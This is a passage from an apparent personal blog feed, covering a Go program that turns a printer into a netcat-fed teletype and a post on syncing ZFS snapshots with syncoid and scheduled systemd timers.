&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;readLoop&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;select&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;char&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pipe&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;char&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fmt&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Printf&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;got ctrl+c\r\n&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;readLoop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// if scrolled up, scroll back down&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;scrolledUp&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fmt&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Print&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;scrolling back down\r\n&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;scroll&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fmt&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Printf&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;writing char \&amp;#34;%q\&amp;#34;, dec \&amp;#34;%d\&amp;#34;, hex \&amp;#34;%x\&amp;#34;\r\n&amp;#34;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;char&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;char&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;char&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;_&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;fd&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Write&lt;/span&gt;([]&lt;span style="color:#66d9ef"&gt;byte&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;char&lt;/span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; panic(&lt;span style="color:#a6e22e"&gt;err&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;time&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;After&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;time&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Second&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;scrolledUp&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fmt&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Print&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;timed out, scrolling up\r\n&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;scroll&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In this snippet &lt;code&gt;p.pipe&lt;/code&gt; is a channel, which is fed characters from &lt;code&gt;stdin&lt;/code&gt; by a goroutine running in parallel.
The idea is that we use the &lt;code&gt;select&lt;/code&gt; statement to wait for either some input character to come from the channel, or for our timeout to occur.&lt;/p&gt;
&lt;p&gt;In reality the implementation is a little more complex. There is some state-machine logic for handling the multi-character escape code sequences from the terminal, like the arrow keys.&lt;/p&gt;
&lt;h2 id="4-netcat"&gt;4. &lt;code&gt;netcat&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Since all Typist does is listen on &lt;code&gt;stdin&lt;/code&gt;, it&amp;rsquo;s trivial to hook it up to &lt;code&gt;netcat&lt;/code&gt;. &lt;code&gt;netcat&lt;/code&gt; is a handy utility for receiving/transmitting data to the network.
If I run this on my desktop connected to the printer, &lt;code&gt;netcat&lt;/code&gt; will listen on TCP port 4444, and pass any data received from the tunnel into Typist:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nc -l &lt;span style="color:#ae81ff"&gt;4444&lt;/span&gt; | ./typist
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Via &lt;a href="https://termux.dev/en/"
target="_blank" rel="noreferrer noopener"
&gt;Termux&lt;/a&gt; on my phone, I can use &lt;code&gt;stty&lt;/code&gt; as before and have the same typewriter experience, over WiFi:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;phone$ stty -icanon &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; nc desktop.lan &lt;span style="color:#ae81ff"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="5-tty"&gt;5. &lt;code&gt;tty&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;With Typist we now have an experience pretty similar to a &lt;a href="https://en.wikipedia.org/wiki/Teleprinter"
target="_blank" rel="noreferrer noopener"
&gt;teletype (&lt;code&gt;tty&lt;/code&gt;)&lt;/a&gt; used for output on early computers.
For the authentic 1960s Unix experience we can pipe the output of a shell into Typist, like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ TERM&lt;span style="color:#f92672"&gt;=&lt;/span&gt;lp /bin/sh -i 2&amp;gt;&amp;amp;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; | ./typist
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/typewriter-five-ways/images/terminal_hu_a0212d6d1e46d3a4.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/typewriter-five-ways/images/terminal_hu_2969756a8e808cf1.webp 320w, https://george.honeywood.org.uk/blog/typewriter-five-ways/images/terminal_hu_3124b6d74ec631cd.webp 640w, https://george.honeywood.org.uk/blog/typewriter-five-ways/images/terminal_hu_fffea542df44bacd.webp 960w, https://george.honeywood.org.uk/blog/typewriter-five-ways/images/terminal_hu_4f2c5adba1c603c7.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/typewriter-five-ways/images/terminal_hu_2c10a14001c09f9d.jpg'
width="1280"
height="961"
loading="lazy"
alt='Output from running the command above'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;Setting the &lt;code&gt;TERM=lp&lt;/code&gt; environment variable is important. It prevents the shell from using fancy control characters that the printer can&amp;rsquo;t render, like the ANSI colouring codes. &lt;code&gt;2&amp;gt;&amp;amp;1&lt;/code&gt; redirects both the &lt;code&gt;stdout&lt;/code&gt; and &lt;code&gt;stderr&lt;/code&gt; of the shell into Typist &lt;sup id="fnref:3"&gt;&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref"&gt;3&lt;/a&gt;&lt;/sup&gt;. If I was feeling brave I could learn how to use &lt;code&gt;ed&lt;/code&gt; and do some proper line oriented file editing!&lt;/p&gt;
&lt;p&gt;This was inspired by a &lt;a href="https://drewdevault.com/2019/10/30/Line-printer-shell-hack.html"
target="_blank" rel="noreferrer noopener"
&gt;blog post from Drew DeVault&lt;/a&gt; back in 2019. I&amp;rsquo;ve been meaning to do this for 6 years!&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;While most CLI programs don&amp;rsquo;t need to, any app can change these terminal settings, the same way &lt;code&gt;stty&lt;/code&gt; does. Interactive TUIs, such as &lt;code&gt;nano&lt;/code&gt;, will need to change these settings. Line buffering doesn&amp;rsquo;t make sense for a text editor!&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;See &lt;a href="https://whitefiles.org/dta/pgs/c03c_prntr_cds.pdf"
target="_blank" rel="noreferrer noopener"
&gt;here&lt;/a&gt; for a handy reference on the rest of the control codes.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;Even though I&amp;rsquo;ve regularly been using the Linux command line for some ten years, I still have to look &lt;code&gt;2&amp;gt;&amp;amp;1&lt;/code&gt; up every time.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>ZFS snapshots and how to sync them</title><link>https://george.honeywood.org.uk/blog/zfs/</link><pubDate>Sat, 07 Dec 2024 20:50:25 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/zfs/</guid><description>&lt;p&gt;I am quite a big fan of ZFS. One of its useful features is snapshotting, allowing you to record the state of your filesystem at a specific point in time. This means if you later change or delete files, you will be able to roll-back to this previous snapshot, or restore individual files. So far, so normal &amp;mdash; even NTFS has a kind of snapshot/restore capability.&lt;/p&gt;
&lt;p&gt;What makes ZFS&amp;rsquo;s snapshots even more useful is what they enable in terms of filesystem synchronization. My use case is that I have 10 TB of data at a remote site that I want to back up to my local desktop. I am constrained by a slow internet connection, so I need a solution that doesn&amp;rsquo;t use much bandwidth.&lt;/p&gt;
&lt;p&gt;What I can do is to have a matching snapshot pair on both sides, then take another snapshot on the sending end. ZFS can then find which blocks have changed on the sending side, and send and replay the differences to the receiving side. Unfortunately you still have to do a single initial replication on the whole dataset &amp;mdash; you can&amp;rsquo;t get around that!&lt;/p&gt;
&lt;p&gt;In my case the initial replication was going to take more than a week over the slow link; I ended up &lt;a href="https://en.wikipedia.org/wiki/Sneakernet"
target="_blank" rel="noreferrer noopener"
&gt;sneakernetting&lt;/a&gt; the data between sites to speed up the process. While you can achieve incremental results with a tool like &lt;code&gt;rsync&lt;/code&gt;, the process isn&amp;rsquo;t as efficient, as it has to check to see if each file has been updated.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/jimsalterjrs/sanoid#syncoid"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;syncoid&lt;/code&gt;&lt;/a&gt; is the tool I use to automate the &lt;code&gt;zfs snapshot&lt;/code&gt;, &lt;code&gt;zfs send | receive&lt;/code&gt; process.
I run a command like this to pull all the changes since the previous run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@desktop:~# syncoid --recursive --skip-parent root@192.168.1.10:tank tank-offsite
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here &lt;code&gt;tank&lt;/code&gt; is a pool on the remote machine at &lt;code&gt;192.168.1.10&lt;/code&gt;, and &lt;code&gt;tank-offsite&lt;/code&gt; is mounted on the local desktop.
I don&amp;rsquo;t use the desktop machine that runs this backup consistently, it suspended most of the time, so I needed a way to schedule this job regularly.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;systemd&lt;/code&gt; to the rescue! I created a service to run the &lt;code&gt;syncoid&lt;/code&gt; command, and a timer to run the service on a schedule.
The magic here is the &lt;a href="https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html#WakeSystem="
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;WakeSystem=&lt;/code&gt;&lt;/a&gt; timer option &amp;mdash; which resumes my desktop from suspend when the timer triggers.
Here is my config &amp;mdash; it is pleasantly simple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@desktop:~# systemctl cat tank-offsite.&lt;span style="color:#f92672"&gt;{&lt;/span&gt;service,timer&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# /etc/systemd/system/tank-offsite.service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Unit&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Backup tank to tank-offsite
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Requires&lt;span style="color:#f92672"&gt;=&lt;/span&gt;network-online.target
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;After&lt;span style="color:#f92672"&gt;=&lt;/span&gt;network-online.target
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Service&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;oneshot
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# wait for the network to be usable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ExecStartPre&lt;span style="color:#f92672"&gt;=&lt;/span&gt;sh -c &lt;span style="color:#e6db74"&gt;&amp;#39;until ping -c 1 192.168.1.10; do sleep 1; done&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# do the sync&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ExecStart&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/local/sbin/syncoid --recursive --skip-parent root@192.168.1.10:tank tank-offsite
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# suspend the machine again&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ExecStopPost&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/bin/systemctl suspend
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# /etc/systemd/system/tank-offsite.timer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Unit&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Backup tank to tank-offsite on a schedule
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Timer&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OnCalendar&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Mon-Sun 03:00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WakeSystem&lt;span style="color:#f92672"&gt;=&lt;/span&gt;true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Install&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WantedBy&lt;span style="color:#f92672"&gt;=&lt;/span&gt;timers.target
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The only little hack here is the &lt;code&gt;ExecStartPre=&lt;/code&gt; line; my first pass at this didn&amp;rsquo;t include it. I was hoping that &lt;code&gt;After=network-online.target&lt;/code&gt; would be enough to make sure the network stack was up before the &lt;code&gt;syncoid&lt;/code&gt; command would run. Evidently not:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ journalctl -u tank-offsite
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:28 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Starting tank-offsite.service - Backup tank to tank-offsite...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:29 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;162504&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: ssh: connect to host 192.168.1.10 port 22: Network is unreachable
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:29 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;162505&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: ssh: connect to host 192.168.1.10 port 22: Network is unreachable
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:29 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;162423&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: CRITICAL ERROR: ssh connection echo test failed &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; root@192.168.1.10 with exit code &lt;span style="color:#ae81ff"&gt;255&lt;/span&gt; at /usr/local/sbin/syncoid line 1714.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:29 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: tank-offsite.service: Control process exited, code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;exited, status&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1/FAILURE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:29 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: tank-offsite.service: Failed with result &lt;span style="color:#e6db74"&gt;&amp;#39;exit-code&amp;#39;&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:29 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Failed to start tank-offsite.service - Backup tank to tank-offsite.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;systemd&lt;/code&gt;&amp;rsquo;s docs have &lt;a href="https://systemd.io/NETWORK_ONLINE/#modyfing-the-meaning-of-network-onlinetarget"
target="_blank" rel="noreferrer noopener"
&gt;some discussion of this scenario&lt;/a&gt;. They suggest adding a separate service that runs the same ping check with &lt;code&gt;Before=network-online.target&lt;/code&gt; specified. This means that any services depending on &lt;code&gt;network-online.target&lt;/code&gt; will only start once the ping has been successful. As I only have a single service that cares about this, keeping it all together in the same unit with &lt;code&gt;ExecStartPre=&lt;/code&gt; made sense to me.&lt;/p&gt;
&lt;p&gt;You may have noticed a slight issue with this timer setup: my machine will always suspend after the backup job finishes. This is the desired outcome when the timer has caused the desktop to wake up, but it will probably be quite annoying if I were using the machine at the time. Luckily I&amp;rsquo;m usually fast asleep before 03:00! I couldn&amp;rsquo;t find a neat way of avoiding this.&lt;/p&gt;
&lt;p&gt;One thing that I&amp;rsquo;d still like to get working is ZFS&amp;rsquo;s &lt;a href="https://openzfs.org/wiki/Features#nop-write"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;nop-write&lt;/code&gt;&lt;/a&gt; support.
My use for this is that I have a different daily job that tars up data from my VPS, overwriting a file on disk.
This means that every day I have to sync the full tar file, as from ZFS&amp;rsquo;s perspective it is completely new data, even though there will have been very few changes.
The data in question is only about 1.3 GB &amp;mdash; so it isn&amp;rsquo;t too slow, but if I can avoid having to copy it at all then it would be preferable.
Alternatively, I could just swap to using &lt;code&gt;rsync&lt;/code&gt; for this job, and avoid re-writing the data at all. ZFS&amp;rsquo;s compression should replicate the benefits I was getting from compressing the tar file.&lt;/p&gt;
&lt;h2 id="a-few-days-later"&gt;a few days later&lt;/h2&gt;
&lt;p&gt;Getting &lt;a href="https://openzfs.org/wiki/Features#nop-write"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;nop-write&lt;/code&gt;&lt;/a&gt; working was indeed really just as simple as swapping the dataset checksum setting to &lt;code&gt;sha256&lt;/code&gt; (or you can pick one of &lt;a href="https://openzfs.github.io/openzfs-docs/Basic%20Concepts/Checksums.html#checksum-algorithms"
target="_blank" rel="noreferrer noopener"
&gt;the other options&lt;/a&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ zfs set checksum&lt;span style="color:#f92672"&gt;=&lt;/span&gt;sha256 pool_name/dataset_name
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now even though the job rewrites this large tar file daily, there is nothing for &lt;code&gt;syncoid&lt;/code&gt; to copy over! (well, only 84 KB compared to 1.3 GB)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ journalctl -qu tank-offsite --grep &lt;span style="color:#e6db74"&gt;&amp;#39;tank/backup@&amp;#39;&lt;/span&gt; | tail -n &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# without `nop-write`&lt;/span&gt;
